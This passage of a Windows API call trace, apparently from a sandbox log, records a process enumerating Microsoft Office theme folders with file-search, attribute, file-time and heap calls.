ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.192] GetLastError () returned 0x12 [0059.192] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0059.192] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0059.192] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.192] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0059.192] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0059.192] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.192] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.192] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.192] GetLastError () returned 0x12 [0059.192] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4fe8) returned 1 [0059.192] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0059.192] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa50f0) returned 1 [0059.192] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0059.192] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0059.193] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0059.193] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0059.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0059.193] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0059.193] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa5c38 [0059.193] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa5c38, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfa5c38, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0059.193] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa5c38) returned 1 [0059.193] NtClose (Handle=0x184) returned 0x0 [0059.193] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0059.193] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.193] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0059.193] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0059.193] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.193] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa50f0 [0059.193] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0059.193] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.193] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0059.193] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.193] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.193] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.194] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.194] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.194] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4fe8 [0059.194] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0059.194] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3148 [0059.194] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa5618 [0059.194] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.194] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0059.194] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.194] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.194] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.194] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.194] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.194] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3168 [0059.194] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa5720 [0059.194] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.194] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.194] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.194] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.194] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.194] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.194] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.194] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3188 [0059.194] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa5828 [0059.194] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.194] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.194] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.194] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.195] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.195] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.195] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.195] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa31a8 [0059.195] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa5930 [0059.195] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.195] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.195] GetLastError () returned 0x12 [0059.195] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0059.195] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0059.195] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.195] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0059.195] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0059.195] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.195] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0059.195] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0059.195] GetLastError () returned 0x12 [0059.195] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa50f0) returned 1 [0059.195] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0059.195] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4fe8) returned 1 [0059.195] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0059.195] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0059.195] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0059.195] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0059.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0059.243] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0059.243] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa5c38 [0059.243] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa5c38, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfa5c38, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0059.243] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa5c38) returned 1 [0059.243] NtClose (Handle=0x190) returned 0x0 [0059.243] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa4280) returned 1 [0059.243] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.243] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0059.243] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4280 [0059.244] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.244] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa4fe8 [0059.244] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0059.244] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.244] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0059.244] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.244] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.244] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.244] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.244] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.244] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa50f0 [0059.244] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0059.244] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa31c8 [0059.244] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa5a38 [0059.244] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.244] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0059.244] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.244] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.244] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.244] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.244] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.244] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa31e8 [0059.244] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa5c50 [0059.244] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.244] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0059.244] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.244] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.245] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.245] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0059.245] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0059.245] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfa3208 [0059.245] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfa5d58 [0059.245] RtlFreeHeap 